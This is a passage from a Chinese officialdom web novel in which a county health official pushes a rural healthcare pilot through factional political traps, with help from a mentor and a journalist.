如果只是马文亮,叶凡并不担心。
但如果马文亮的背后站着的是县委**张海涛……
那这场斗争的性质,就彻底变了。
这不再是业务之争,而是青川县最高层级的,县长与**之间的派系之争。
而他叶凡以及他主导的这个“城乡医疗一体化”项目,恰好成了这场风暴的中心。
“你小心点。”苏沐秋的声音里透着关切,“你现在是在聚光灯下,用放大镜被盯着。一步都不能错。”
“知道了。”叶凡挂了电话,抬头看着满天星斗。
晚风吹过,院子里改造工程的蓝图被吹得哗哗作响。
他知道,一场比纪委夜审更凶险、更无声的战争,已经悄然拉开了序幕。
拆掉一所旧房子,他有的是力气和办法。
但要在这盘根错节的权力棋局中,杀出一条生路,光有仁心和手术刀,还远远不够。
第120章 磨刀,更要磨心!
苏沐秋挂断电话的瞬间,青山镇的夜风格外清冷,吹得院子里那张巨大的改造蓝图哗哗作响,像一声声急促的催促。
叶凡没有立刻回到灯火通明的工棚,他站在原地,抬头望着那片被群山切割得有些破碎的星空。
星星很亮,但山影更深,像潜伏在暗处的巨兽,随时可能吞噬掉这片刚刚燃起的微光。
马文亮,张海涛。
这两个名字在他脑中盘旋,像两把无形的手术刀,瞬间剖开了他眼前这片热火朝天的景象,露出了底下冰冷而残酷的**肌理。
他原以为自己面对的只是医疗系统的沉疴积弊,只要拿出解决问题的能力,就能像做手术一样精准切除。
现在他才明白,他手里的刀,不仅动了别人的奶酪,更无意中踏入了另一个更复杂、更凶险的“手术台”。
而在这个台上,他只是一个被别人握在手里的器械。
“睡不着?”
一个苍老而沉稳的声音在身后响起。
叶凡回头,钱国栋不知何时已经站在了他身后。
他从口袋里拿出了一包烟,递过来一根。
叶凡接了过来,钱国栋点燃,昏黄的火光映着他那张布满沟壑的脸,眼神深邃得像这山里的夜。
“昨晚纪委的人,只是个开胃菜。”钱国栋吸了一口烟,吐出的烟雾很快被夜风吹散,“今天这锅饭,吃得香,但也烫嘴。有人嫌你这灶火烧得太旺,碍了他们的眼,想给你浇盆冷水。”
叶凡沉默着,他知道钱国栋看穿了自己的心事。
在这位官场老人的面前,任何伪装都显得多余。
“是马文亮,卫生局的常务副局长。”叶凡低声说,“他背后,可能是张**。”
钱国栋的脸上没有任何意外,只是弹了弹烟灰。
“不奇怪。青川县这口锅,看着不大,底下却盘着两条龙。李县长是外来的,想把锅里的水烧开,做出点名堂。张**是本地坐大的,只想这锅水温着,让他舒舒服服地泡个澡。你现在,就是李县长扔进锅里的一块火炭,你想把水烧开,那条想泡澡的龙,自然就要想办法把你捞出来。”
这番话说得极其通俗,却一针见血,比任何**理论都来得透彻。
“我只是想把这个试点做好。”叶凡的声音有些干涩。
“官场上,做事,从来不只是做事。”钱国栋看着他,目光锐利,“你以为你是在盖房子,在他们眼里,你是在立山头,是在抢地盘。你现在,就是李县长手里的一把刀,他想用你,切开医疗改革这个最难啃的骨头,做成他的政绩。而张**那边,自然就要想尽办法,让你这把刀变钝,甚至折断。”
叶凡的心沉了下去,这种被人当做武器的感觉,让他感到一种前所未有的压抑。
“那我该怎么办?”
“怎么办?”钱国栋笑了,那笑容里带着一丝过来人的沧桑,“当刀,就要有当刀的觉悟。首先,你得把自己磨得更利!利到谁都想用,谁都舍不得扔!”
他指了指工地上那片热火朝天的景象:“这个试点项目,就是你的磨刀石!你不仅要把它做成,还要做得无可挑剔,做成一个谁也无法复制的标杆!到时候,你就是李县长手里最锋利的刀,他会把你护得严严实实。而张**那边,想动你,就得掂量掂量,会不会崩了自己的牙。”
“其次,”钱国栋加重了语气,“要藏好你的刀柄。别让人抓住你的把柄。你那个‘阳光账本’,做得很好。接下来,不管大事小事,程序上,一丁点的瑕疵都不能有。他们找不到你的错,就会想办法让你犯错。比如,给你塞个不三不四的人,或者在你的采购里下个套。越是这种时候,越要干净。”
叶凡默默地点头,将这番话刻在心里。
“最后,也是最重要的一点。”钱国栋掐灭了烟头,一字一句地说,“刀,不能只有锋刃,还得有自己的分量。”
他看着叶凡的眼睛:“你不能只做一个被动解决问题的人。你要让握着你的人知道,你这把刀,不仅能切除病灶,还能诊断病情,甚至能开出药方。你要主动去发现问题,创造价值。你要让他觉得,你不仅仅是一把好用的刀,更是一个离不开的帮手。到那个时候,你就不是棋子了,你才算真正上了棋盘。”
夜风吹过,叶凡感觉自己的后背已经出了一层冷汗。
钱国栋这番话,像一场顶级的术前指导,为他拨开了官场这片迷雾,露出了底下清晰的脉络和神经。
“老**,我明白了。”他长长地吐出一口气。
“明白就好。”钱国栋拍了拍他的肩膀,“回去睡吧。天塌不下来。记住,只要你站得直,办的事对得起头顶的国徽和脚下的百姓,就没人能轻易把你怎么样。”
回到招待所,叶凡却毫无睡意。
他拿出手机,拨通了苏沐秋的电话。
电话几乎是秒接。
“还没睡?”苏沐秋的声音带着一丝不易察觉的关切。
“睡不着,想找人聊聊。”叶凡靠在窗边,看着远处工地的灯火,“今天,谢谢你。你的消息很关键。”
“跟我还客气?”电话那头传来苏沐秋轻快的笑声,“什么时候你这个叶大局长不把我当外人了,我的情报费才能收得心安理得。叫我沐秋。”
叶凡笑了笑,心里那块被**压得沉甸甸的石头,似乎被这笑声撬动了一下。
“好,沐秋。”
“这就对了嘛。”苏沐秋的语气变得认真起来,“你别想太多,兵来将挡,水来土掩。你现在在做的是大好事,这是你最大的底气。我明天会去一趟县委宣传部,帮你探探风声。我听说,张海涛**最近正在全力推一个‘文明城市’的创建活动,这是他今年的头号政绩工程。他正是春风得意的时候,估计不会轻易让你这个‘杂音’,影响了他的‘主旋律’。”
“文明城市?”叶凡敏锐地抓住了这个关键词。
“对。刷墙、种花、搞宣传。面子上的事。”苏沐秋的声音里带着一丝不以为然。
叶凡的脑中,一道光亮闪过。
他似乎抓住了什么。
“你那边也要小心。”苏沐秋叮嘱道,“你现在是在聚光灯下,用放大镜被盯着,一步都不能错。”
“知道了。”挂了电话,叶凡的心情豁然开朗。
如果说钱国栋给了他战略上的指导,那苏沐秋则为他提供了最精准的战术情报。
他不是一个人在战斗。
他有指点迷津的导师,更有并肩作战的战友。
第二天一早,叶凡召集了孙兆龙、王功
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、秦朗等所有核心成员。
所有人都发现,叶局长今天的眼神和气场,似乎和昨天不一样了。
依旧是那份沉稳和锐利,但底下多了一层运筹帷幄的从容。
“各位,我们的‘全民健康档案’工作,这两天辛苦大家了。”叶凡开门见山,“工作虽然困难,但也让我们发现了很多问题。但问题,也是机遇。”
他看向孙兆龙:“孙主任,你不是说很多村民对我们有抵触情绪,不理解,不配合吗?”
孙兆龙一脸苦相地点点头:“可不是嘛!把我们当骗子,当瘟神,就差拿扫帚赶人了。”
“那是因为我们给他们的,是他们暂时看不到的东西。而他们想要的是实实在在的好处!”叶凡站起身,走到地图前,目光如炬。
“我决定,从今天开始,在卫生院的改造工程和全民普查之外,立刻启动第三项工作——‘青山镇特困重症家庭医疗援助计划’!”
此话一出,满座皆惊。
“援助计划?”王功愣住了,“叶局,我们这五十万本来就捉襟见肘,再搞这个,钱从哪来?”
“钱,要用在刀刃上。”叶凡的声音斩钉截铁,“昨天王铁柱家孩子的情况,就是一个典型!这样的家庭在青山镇不止一家!他们是全镇最穷的人,也是最需要我们的人!我们就要把他们树成典型!”
“我宣布,第一,对王铁柱家,县医院免除所有治疗费用,这个我已经跟院里打好招呼了。第二,从我们的启动资金里,拨出五千元,作为他家的营养和生活补助!第三,也是最重要的,这件事,我们要大张旗鼓地去做!”
叶凡的目光扫过全场,最后落在王功身上。
“王主任,你马上联系县电视台!就找江城晚报的苏沐秋记者!她不是一直想找深入基层的典型报道吗?这就是最好的典型!我们要让全县,不,全市的人都看到,我们卫生局在青山镇,到底在干什么!”
孙兆龙猛地一拍大腿,他瞬间明白了叶凡的用意,激动得满脸通红。
“高!实在是高啊!”
叶凡微微一笑,继续说道:“我们要告诉所有人,我们来青山镇,不是为了搞什么政绩工程,我们是在扶贫,是在救命,是在践行一个医疗工作人员最基本的群众路线!我倒要看看,在这样的**和道德高地上,谁还敢,谁还好意思,给我们这个为民办事的项目,下绊子,使黑手!”
他这番话,掷地有声,像一记重锤,敲在每个人的心上。
这已经不是简单的反击了。
这是一种阳谋。
我把我的所有目的都摆在阳光下,我做的每一件事,都占据着道义的制高点。
你张海涛不是要搞“文明城市”的面子工程吗?
好,我就来一个“健康扶贫”的里子工程!
我看全县的老百姓是关心墙刷得白不白,还是关心自己病了有没有人救!
工棚里,刚才还弥漫着一丝担忧和压抑的气氛,此刻被一股强大的自信和豪情彻底点燃。
叶凡看着众人眼里的光,心里前所未有的坚定。
磨刀,是为了治病救人。
而磨心,是为了在这条布满荆棘的路上,走得更远,更稳。
张海涛,马文亮,你们的棋局,我接下了。
第121章 第一枪,要打在所有人的心上!
王功看着叶凡沉稳的眼神,心里那点对未知风险的担忧烟消云散,他重重地点了点头,掏出手机,快步走出了工棚。
电话很快就接通了。
“喂,苏记者吗?我是青川县卫生局的王功……”
叶凡没有去关心电话内容,他转头对秦朗和李德海说:“秦科长,李院长,准备一下,把王铁柱家的情况以及我们这两天普查出来的所有典型病例,整理成最详实的材料。数据要精准,情况要真实,一个字都不能夸大。”
他又看向孙兆龙:“孙主任,你和其他几位专家,准备好接受采访。别说官话套话,就说你们亲眼看到的,亲身感受到的。你们心里想骂什么,就骂什么。老百姓的苦,就是我们工作没做好的果,这没什么不能承认的。”
孙兆龙咧嘴一笑,露出两排被烟熏黄的牙:“这个我擅长。保证骂得他们狗血淋头,听了就想给我们捐款。”
一时间,整个指挥部像一台精密的机器,高速运转起来。
不到半小时,王功一脸兴奋地跑了回来:“叶局!苏记者说……她说她不仅自己来,还要带上市报社最好的摄影师和一名资深评论员,组成一个专题报道组!她说,让我们等着,她们马上出发!”
这个消息,让所有人都精神一振。
市报社的专题报道组!
这分量,跟县电视台的小打小闹,完全是两个概念。
这意味着,叶凡的这一枪,瞄准的根本不是青川县,而是整个江城市!
……
第二天上午,一辆挂着“江城晚报”牌子的采访车,卷着一路风尘,停在了青山镇卫生院的工地上。
车门打开,苏沐秋一身干练的牛仔裤配白衬衫,长发扎成一个清爽的马尾,第一个跳了下来。
她看着眼前这个热火朝天的工地,看着那些穿着白大褂和村民们一起搬砖和泥的专家,明亮的眼眸里闪过一丝震撼。
她快步走到叶凡面前,上下打量了他一圈,那张被晒得有些黝黑的脸比在市里时更添了几分坚毅。
“叶大局长,”苏沐秋嘴角一扬,带着一丝狡黠的笑意,“你这可**道啊,搞出这么大的动静,是想把我当枪使?”
叶凡看着她眼里的光,心里的那点压力莫名就轻快了许多。
“我哪敢用苏大记者当枪。”他笑了,“我这是给你送炮弹。能把这发炮弹打出去,打得又响又亮,我想来想去,全江城,也只有你了。”
这句半真半假的话,让苏沐秋脸颊微微一热,她哼了一声,掩饰道:“算你识货。材料呢?”
“都准备好了。”
援助仪式简单而隆重。
没有领导讲话,没有繁琐流程。
就在那块“阳光账本”的大木板前,叶凡亲手将一个装着五千块钱的信封,交到了王铁柱的手里。
王铁柱这个七尺高的汉子,捧着那个信封,嘴唇哆嗦着,一句话也说不出来。
前几日他还只是感激,今天,当这份沉甸甸的,能救活他一家子的现金拿到手里时,那种冲击力,让他瞬间红了眼眶。
他“扑通”一声,又要下跪。
叶凡眼疾手快,一把将他死死扶住。“铁柱大哥,咱们之间不兴这个。这钱,不是我给你的,是政府给你的,是国家的政策好。你要谢,就谢党和政府。”
王铁柱抬起头,泪水混着汗水,从黝黑的脸庞上滚落。
他看着叶凡,又看了看周围那些冲他点头微笑的专家和干部,最终,只是用尽全身力气,嘶哑地喊出了一句:“我……我以后就听叶局长的!让**啥**啥!”
摄影师的闪光灯,将这一幕定格。
接下来的采访,成了一场“诉苦大会”。
孙兆龙对着镜头,毫不客气地炮轰:“**了一辈子外科,从没想过,在离县城不到一百公里的地方,还有人用烧红的剪刀放血来降颅压!这不是医术,这是玩命!为什么?因为一个最基本的卫生院,连一支能用的体温计都没有!这是我们所有医疗工作者的耻辱!”
内科王主任指着地图上密密麻麻的红点,痛心疾首:“高血压二百二的老人还在下地干活,三十岁的年轻人得了糖尿病自己却毫不知情。这不是个例!我们脚下站着的,不是一片土地,是一座被疾病包围的孤岛!我们再不来,这里就要被掏空了!”
苏沐秋的笔在采访本上飞快地记录着,她的心神被这些最真实、最残酷的现实,深深地刺痛着。
她最后采访叶凡:“叶局长,面对这么大的困难,您有信心把这个试点做成吗?”
叶凡看着镜头,眼神平静而坚定:“信心不是我有没有,是看我们想不想。只要我们把老百姓的命,当成自己的命,就没有克服不了的困难。我们的目标很简单,就是让青山镇的每一位乡亲,看得起病,看得好病,活得更有尊严。”
……
两天后,《江城晚报》头版头条,一篇配着大幅照片的深度报道,像一颗重磅**,在整个江城市引起了轩然大波。
标题锋利如刀——《谁在为青山镇的百姓续命?——一项被“逼”出来的医疗扶贫样本调查》
文章没有一句**的套话,而是用最真实的笔触,描绘了青山镇医疗资源的极端匮乏,描绘了王铁柱一家的绝望与新生,描绘了孙兆龙等专家们在一线的震撼与自责。
最后,才点出叶凡和他的团队,正在用最笨拙也最扎实的方式,试图改变这一切。
报道的配图,一张是孙兆龙赤着膊挥舞大锤的背影,一张是叶凡扶着王铁柱,两人四目相对的瞬间。
同一时间,青川县。
县长**的办公室里,他将报纸仔仔细细地看了三遍,然后缓缓地靠在椅背上,脸上露出了久违的笑容。
他拿起桌上的红笔,在报纸的标题上,重重地画了一个圈。
而在另一间办公室,气氛则压抑得如同暴风雨前夕。
县卫生局常务副局长马文亮几乎是撞开了县委**张海涛办公室的门。
他把那份报纸“啪”地一声拍在张海涛的办公桌上,气急败坏地说道:“张**!您看看!这个叶凡,简直是无法无天!他这是在作秀!他这是在用****我们县委县政府!”
张海涛的脸色阴沉得能滴出水来。
他早就看到了这份报纸,每一个字都像一根针,
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扎在他的心上。
他正在全力推进的“创建文明城市”活动,讲究的是光鲜亮丽的市容,是和谐美好的宣传。
可叶凡这篇报道,却血淋淋地揭开了青川县最穷困、最难看的一块伤疤,还把它放在了全市的聚光灯下暴晒!
这哪里是在作秀,这分明是在打他的脸!
“作秀?”张海涛抬起眼皮,冷冷地看着马文亮,“人家现在是全市上下交口称赞的扶贫典型,是深入基层为民办实事的好干部。你告诉我,怎么反驳?是说他不该救那个快死的小孩,还是说他不该给贫困户送那五千块钱?还是说,我们青川县根本没有穷人,这篇报道是凭空捏造?”
一连串的反问,像一记记耳光,抽得马文亮哑口无言,满脸通红。
他支支吾吾半天,才憋出一句:“可……可他这么搞,完全不合规矩,不按程序来啊!”
“规矩?”张海涛拿起报纸,指着上面叶凡那张平静的脸,声音里透着一股子寒意,“现在,老百姓的命,就是最大的规矩!人民的口碑,就是最大的程序!你跟我谈规矩?你去跟市里的领导谈,去跟全市的老百姓谈!”
说完,他把报纸狠狠地扔在地上,胸口剧烈地起伏着。
他感觉自己精心布置的一盘棋,被叶凡这个不知从哪冒出来的卒子,给拱翻了。
他想发火,却发现自己一拳打出去,面前空无一物,所有的力量最终都憋屈地耗在了自己胸口。
当晚,青山镇卫生院的工地上。
钱国栋和叶凡并排坐在一堆新码好的砖头上,看着远处村民们和专家们围着篝火,有说有笑。
“你这一枪,打得准,打得响。”钱国栋抽着旱烟,慢悠悠地说,“明着打的是扶贫这张牌,疼的却是某些人‘文明城市’那张脸。他现在啊,是有苦说不出,吃了这个哑巴亏,还得捏着鼻子认下你的功劳。”
叶凡没有说话,只是静静地听着。
“不过,你小子也别得意得太早。”钱国栋话锋一转,“**这东西,是双刃剑。今天它能把你捧上天,明天,就能让你摔得粉身碎骨。你记住,锦上添花的东西,永远靠不住。咱们当干部的,根基,还得是脚下这片土地,是实实在在的成绩。”
他用烟头指了指那栋已经初现轮廓的卫生院大楼。
“把这楼盖得结结实实,把医疗队带得能打硬仗,让老百姓的死亡率降下来,人均寿命提上去。这些,才是谁也抢不走,谁也骂不掉的护身符。到时候,你不用说话,你做的每一件事,都会替你说话。”
叶凡重重地点了点头,将这番话刻进了心里。
这时,他的手机震动了一下,是一条短信,来自苏沐秋。
“报道效果不错,听说市里领导都做了批示。我这个月的奖金,看来是稳了。叶大局长,你欠我一顿大餐。”
叶凡看着屏幕上的字,脸上露出了连日来最轻松的笑容。
他抬头看了看漫天的繁星,又看了看身边这群可爱可敬的人,手指在屏幕上飞快地敲击着。
“等卫生院盖好了,请你来剪彩。顺便,尝尝我们青山镇的特色大锅饭,管够。”
第122章 捧杀,是更毒的**!
那篇报道带来的热度,像一场突如其来的夏日暴雨,来得猛烈,去得也快。
喧嚣过后,青山镇的工地又恢复了它应有的节奏。
只是这一次,村民们的眼神里多了些亲近和信赖,专家们干活的号子声,也喊得比以前更响亮。
叶凡心里清楚,**是风,风会停。
真正能让他站稳脚跟的,只有脚下这片正在被一砖一瓦改变的土地。
然而,他终究是低估了对手的段位。
张海涛的反击,没有选择雷霆万钧,而是化作了一阵和煦的春风,吹得人暖洋洋,却又透着一股子能钻进骨头缝里的寒意。
第三天上午,一纸**由县委办公室亲自派人送到了青山镇。
文件不长,标题却很醒目——《关于在全县范围内学习推广“青山镇医疗扶贫先进模式”的决定》。
文件里,县委**张海涛用极具感染力的语言,高度赞扬了以叶凡同志为首的医疗试点团队,称他们是“新时期干部深入基层的典范”,是“‘创建文明城市’伟大实践中的一抹亮色”,号召全县各部门,尤其是窗口单位,立刻组织人员,前往青山镇,“实地看,现场学,深刻领会‘青山模式’的精神内核”。
钱国栋拿着那份文件,浑浊的老眼眯成了一条缝,看了半天,只从嘴里吐出两个字:“捧杀。”
孙兆龙一开始还没反应过来,拿着文件乐呵呵地在专家们面前显摆:“看见没有!县委张**亲自表扬咱们了!说咱们是典范!”
可这股高兴劲儿,连一天都没能维持住。
从下午开始,青山镇这个原本清净的山沟沟,一下子变成了县里的热门旅游景点。
先是县农业局的来了,拉着横幅——“学习医疗战线同志,服务三农无私奉献”,对着“阳光账本”拍了半天照,拉着孙兆龙问了一堆关于“如何将医疗精神融入种子培育”的玄学问题。
紧接着,县教育局的也来了,带来了一群中小学校长,主题是“观摩榜样事迹,加强师德建设”,非要拉着正在给村民测血压的内科王主任,分享一下“从医和从教的共通之处”。
最离谱的是县环卫处的,开着洒水车就过来了,说是要“为先进典型创造整洁优美的工作环境”,围着工地来回洒水,搞得刚挖好的地基一片泥泞,工人们连脚都下不去。
一时间,工地上人来人往,相机闪光灯咔咔作响,专家的白大褂被当成了合影的背景板,叶凡那张被晒黑的脸成了出镜率最高的“先进典型”。
真正干活的时间,被压缩得所剩无几。
到了晚上,孙兆龙一屁股坐在工棚的椅子上,把搪瓷大碗墩得山响,再也没了白天的高兴劲儿,嘴里骂骂咧咧:“这**叫什么事!我们是来救命的,不是来当猴耍的!再这么下去,卫生院没盖起来,咱们这帮人都得先累死在讲台上了!”
工棚里,气氛压抑。
所有人都看出来了,这根本不是学习,这是变相的骚扰。
用最冠冕堂皇的理由,让你什么正事都干不成。
叶凡一整天都在陪着笑脸,迎来送往,此刻脸上也带着一丝疲惫。
他知道自己陷入了一个两难的死局。
拒绝,就是不服从县委领导,是骄傲自满,是破坏“文明城市”创建的大局。
接受,这个项目就等于被判了死缓。
夜深人静,他敲开了钱国栋的房门。
老人正坐在灯下,慢悠悠地擦拭着一杆老烟枪。
“想明白了?”钱国栋没抬头,开门见山。
“他这是要把我架在火上烤。”叶凡坐在小板凳上,声音有些沙哑。
“不止。”钱国栋放下烟枪,“他这是阳谋。你打你的民生牌,他就把你的牌抢过去,放到他的‘文明城市’大旗下面。你做的所有事,都成了他政绩的点缀。你这把刀,不仅没切到他的肉,反而成了他拿在手里炫耀的战利品。这手,比纪委夜审那套,高明多了。”
叶凡沉默了,一种深深的无力感涌上心头。
在绝对的权力面前,他那些所谓的智慧和能力,似乎不堪一击。
“老**,我该怎么办?”
钱国栋抬起头,看着他:“他们要学,是好事嘛,说明咱们的工作有价值。那就让他们学。但是……”
老人嘴角勾起一丝不易察觉的弧度,“得按我们的规矩来学。”
叶凡的眼睛猛地一亮。
钱国栋拿起烟枪,在桌上轻轻磕了磕:“你不是要建一个医疗体系吗?那就先给他们这帮人,建一个‘学习体系’。你得让他们知道,先进经验不是大白菜,想看就看,想学就学。想学,可以,拿出诚意来。”
那一晚,叶凡在招待所的灯下,枯坐了半宿。
第二天一早,当县交通局的学习考察团兴冲冲地抵达工地时,发现工地入口处,立起了一块新的大木板,上面用黑墨水写着几行醒目的大字:
《“青山医疗模式”学习班章程》
一、为保证学习效果,即日起,所有前来学习的单位,需提前三天预约,由试点办公室统一安排。
二、学习内容分为理论课与实践课。学员需首先完成为期一天的理论学习,并通过闭卷考试(60分及格),方可获得实践观摩资格。
三、理论课教材为《青山镇全民健康档案数据汇编》及《试点项目财务公开制度详解》,请各单位派专人领取。
四、本学习班不收取任何费用,但为保证工地安全与项目进度,谢绝一切与学习无关的采访、合影及慰问活动。
落款是:青川县城乡医疗一体化试点项目办公室。
最底下还有一行小字:主讲人——江城市第一人民医院主任医师,孙兆龙教授。
交通局带队的副局长看着这块板子,脸上的笑容僵住了。
学习还要考试?
这他妈是来考察,还是来上学了?
正发愣,王功抱着一摞比砖头还厚的,刚刚油印出来、墨迹未干的“教材”走了过来,脸上挂着职业的微笑:“几位领导,来啦?这是咱们的教材,一人一本,拿好。今天的理论课九点准时开始,教室就在前面的工棚,孙教授亲自讲课。对了,这是昨天的模拟试卷,你们可以先看看,熟悉一下题型。”
副局长接过那本沉甸甸的“教材”,随手翻了翻,只见里面全是密密麻麻的数据表格、财务流程图和各种他
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看不懂的医学名词。
他又拿起那张所谓的“模拟试卷”,第一题就是:
“请简述高血压危象与主动脉夹层的临床鉴别诊断要点,并论述其在基层医疗中的急救预案。”
副局长的脑袋“嗡”的一声,他一个管修路的,哪知道什么“主动脉夹层”?
他身后,一个年轻科员小声嘀咕:“领导,这……这咱们学得会吗?”
副局长脸上一阵红一阵白,他要是说学不会,岂不是显得自己单位学习能力差?
可要真去考,这张老脸往哪儿搁?
就在这时,工棚里传来一声中气十足的咳嗽。
孙兆龙背着手,像个严厉的教导主任,从里面走了出来。
他扫了一眼这群人,清了清嗓子:“都到齐了?准备上课!我先提醒一句,我的课,纪律很严,不许交头接耳,不许玩手机。考试不及格的,别说我老孙不给面子,补考费自理!”
交通局的一行人面面相觑,脸上的表情比吃了苍蝇还难看。
当天下午,一个消息就在县里的各个单位悄悄传开了:青山镇那个学习班,是块硬骨头,不仅要上课,还要考试,考的还是医学专业知识,主讲的孙老头脾气又臭又硬,谁去谁脱层皮。
第二天,原本预约要来的县水利局临时打来电话,说单位有紧急防汛任务,不来了。
第三天,县林业局说要去搞植树节的筹备工作,也取消了行程。
一个星期下来,除了几个实在推不掉的单位硬着头皮派了两个年轻办事员过来听了一堂课,交了两张白卷灰溜溜地走了之外,整个青山镇又恢复了往日的清净。
县委**办公室里,张海涛听着常务副局长马文亮的汇报,一张脸阴沉得能拧出水来。
“他……他就是这么说的?”
马文亮哭丧着脸点头:“对!我去的时候,那个孙兆龙还真拿了套卷子给我,说我是卫生系统的领导,得考八十分才能及格……张**,这哪是让我们去学习,这分明是把我们当小学生训啊!太羞辱人了!”
张海涛靠在椅子上,闭上眼睛,太阳穴突突地跳。
他感觉自己就像一个用尽全身力气打出一记棉花拳的拳手,对方非但没受伤,还反手抽了他一个大嘴巴。
这个叶凡,滑得像条泥鳅,你用强的,他比你更硬;你用软的,他能把你的力气全化解掉,还让你下不来台。
“**,咱们不能就这么算了啊!”马文亮不甘心地说。
张海涛睁开眼,眼神里闪过一丝狠厉。
“算了?当然不能就这么算了。”他拿起桌上的一份文件,扔给马文亮,“项目不是缺钱吗?县里财政也紧张。不过,市里最近有个‘中医药发展专项扶持基金’,你去帮叶凡同志争取一下。他不是能耐吗?我倒要看看,他这个西医专家,怎么舞得动中医这把刀!”
马文亮眼睛一亮,瞬间明白了张海涛的用意。
这是阳谋之后的又一记阴招!
让你去拿钱,拿不到,是你的无能。拿到了,一个搞西医外科的,却要去主导中医药项目,外行领导内行,早晚要出大乱子!
这盆脏水,泼得更高明,也更恶毒。
第123章 刀给你,看你怎么舞?
县委**办公室里那股阴冷的风,终于还是吹进了青山镇的山沟里。
马文亮是带着县电视台的记者一起来的,阵仗搞得比上次任何一个学习团都大。
他春风满面,手里拿着一份烫金的文件夹,像捧着一道圣旨,当着所有人的面,亲手交到了叶凡手里。
“叶局长,天大的好消息啊!”马文亮的声音洪亮,刻意让周围的记者都听得清清楚楚,“张**日理万机,还时刻挂念着咱们青山镇的试点。他听说你们资金紧张,辗转反侧,连夜研究政策,特地为你们找到了一个新路子——市里有一笔‘中医药发展专项扶持基金’,足足一百万!张**说了,这笔钱,咱们青川县,一定要帮叶局长你争取到!”
他拍了拍叶凡的肩膀,笑得像一尊弥勒佛,眼里的精光却一闪而过。
“叶局长,你年轻有为,思想活,又是从市里大医院来的专家,见识广。张**说了,这个项目,非你莫属。申请报告的事情,就全权委托给你了。县里,等着你的好消息!”
记者们的镜头“咔咔”地对准了叶凡,仿佛要记录下这位年轻干部感激涕零的瞬间。
工地上,所有人都听明白了。
孙兆龙手里的铁锤“咣当”一声掉在地上,他瞪圆了眼睛,看着马文亮,那表情像是刚做完一台十二小时的手术,出门发现救护车被偷了。
一百万!中医药!
这哪里是送钱,这分明是递过来一把淬了毒的刀,还逼着你当众耍一套刀法。
叶凡脸上的表情没什么变化,他只是接过了那份文件夹,平静地翻了翻。
“感谢张**的关心,感谢马局长的辛苦。这确实是天大的好事。我们一定会认真研究,尽快拿出一个方案来。”
他的声音沉稳得像一块压舱石,让马文亮准备好的一肚子看好戏的台词,硬生生憋了回去。
他感觉自己一拳打在了太极推手上,对方纹丝不动,还顺势把你的力道给接了过去。
送走了马文亮和记者,工棚里的气氛,比纪委来的那天晚上还要凝重。
“**的!这帮**的,太不是东西了!”孙兆龙第一个炸了,一脚踹翻了身边的工具箱,扳手零件撒了一地,“让我们这群拿手术刀的去搞中医药?他怎么不让妇产科的去配钥匙呢!这是要把我们钉在耻辱柱上,让全县人看笑话!”
内科王主任推了推眼镜,愁眉不展:“老孙,你冷静点。这招太毒了。我们去申请,我们懂什么?连君臣佐使都分不清,报告写出来就是个笑话,钱肯定拿不到,到时候就是我们办事不力。我们不去申请,就是不服从县委领导,辜负了张**的‘一片好心’,这顶帽子扣下来,谁也扛不住。”
“这他妈就是个死局!”骨科李主任一拳砸在桌上。
所有人的目光都投向了叶凡。
叶凡坐在那,手指无意识地敲着桌面,一言不发。
他知道,张海涛这一招,已经不是简单的“捧杀”了。
这是“异化”,是釜底抽薪。
你想当英雄?好,我把你捧成英雄。
然后,我再把你扔到一个你完全不熟悉的战场,让你带着“英雄”的光环,去打一场必败的仗。
到那时,你摔下来,会比任何人都惨。
“都别吵了。”叶凡终于开口,声音不大,却让所有人都安静了下来。
“他想看笑话,我们就让他看。他想让我们出丑,我们就偏不如他的意。”
他站起身,看着众人:“这笔钱,我们不仅要拿,还要拿得漂漂亮亮,拿得让他心服口服!”
“怎么拿?”孙兆龙急了,“叶局,这可不是开玩笑的。我对中医的了解,仅限于板蓝根。让我去写报告,我只能写‘多喝热水’四个字。”
“我来写。”叶凡看着他,眼神里没有丝毫玩笑的意思。
……
夜里,叶凡敲开了钱国栋的门。
老人正在灯下,用一根细细的铁丝,通着烟锅里的烟油。屋里弥漫着一股辛辣的烟草味。
“这把刀,不好接吧?”钱国栋头也没抬。
“是不好接。”叶凡坐在他对面,“扎手。”
“他这是要废了你的武功。”钱国栋吹了吹铁丝上的烟灰,“你是西医,这是你的根。他现在,就要刨你的根,让你用你不擅长的东西,去砸自己的招牌。到时候,西医这边的专家觉得你瞎搞,中医那边的行家觉得你外行,两头不落好,里外不是人。”
“我明白。”叶凡点了点头,“所以,我不能按他的路子走。”
“哦?”钱国栋终于抬起头,浑浊的眼睛里透出一丝兴趣,“你想怎么走?”
“他们想看我这个西医专家怎么搞中医,那我就不搞中医。”叶凡的声音很轻,却很清晰。
钱国栋愣了一下。
“我不懂中医,这是事实。我不能不懂装懂。”叶凡继续说,“所以,我的报告里,一个字都不会提怎么用中药,怎么搞针灸。我要建的是一个‘中西医结合康复治疗中心’。”
“康复治疗?”钱国栋咀嚼着这几个字。
“对。”叶凡的思路越来越清晰,“孙主任他们是干什么的?全县最好的外科医生。外科的优势是什么?是精准切除,是立竿见影,是救命!但外科的短板是什么?是术后康复,是慢性调理,是固本培元。这恰恰是中医的长处!”
他站起身,在小屋里来回踱步,越说越兴奋。
“我的方案是,手术,我们来做!用最先进的西医技术,把病灶拿掉。康复,交给老祖宗的智慧!用中医药,针灸,推拿,食疗,帮助病人恢复元气,提高生活质量。一个治病,一个治人。一个负责把人从悬崖边上拉回来,一个负责扶着他,让他能重新站起来走路!”
“我们卫生局,不出方案,只搭平台!我们面向全县,招募最厉害的老中医,让他们进驻这个中心。我们用西医的诊断设备,CT,核磁,B超,给他们提供最精准的病情分析。他们用中医的手段,对症下药。我们不领导他们,我们服务他们!”
钱国栋手里的烟锅,不知不觉已经凉了。
他定定地看着叶凡,那眼神像是在看一块未经雕琢的璞玉,正在自己面前,绽放出夺目的光彩。
“好小子……”他喃喃道,“你这不是在接刀,你这是在借他的刀,开自己的山!他给你挖了个坑,你转身就在坑里挖出了一口井!”
他猛地一拍大腿:“这个方案,谁能反驳?谁敢反驳?谁反驳,谁就是反对中西医结合
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,谁就是站到了国家大政策的对立面!张海涛他……他得捏着鼻子,把这一百万,亲手送到你面前!”
从钱国栋屋里出来,叶凡感觉浑身都充满了力量。
夜风吹在脸上,带着山里的凉意,却让他头脑无比清醒。
他没有回招待所,而是走到了院子里的一个角落,拨通了苏沐秋的电话。
电话响了一声就被接起,那头传来苏沐秋带着睡意的声音,软软糯糯的,有些含糊:“喂……叶凡?”
“吵醒你了?”叶凡的声音不自觉地放柔了。
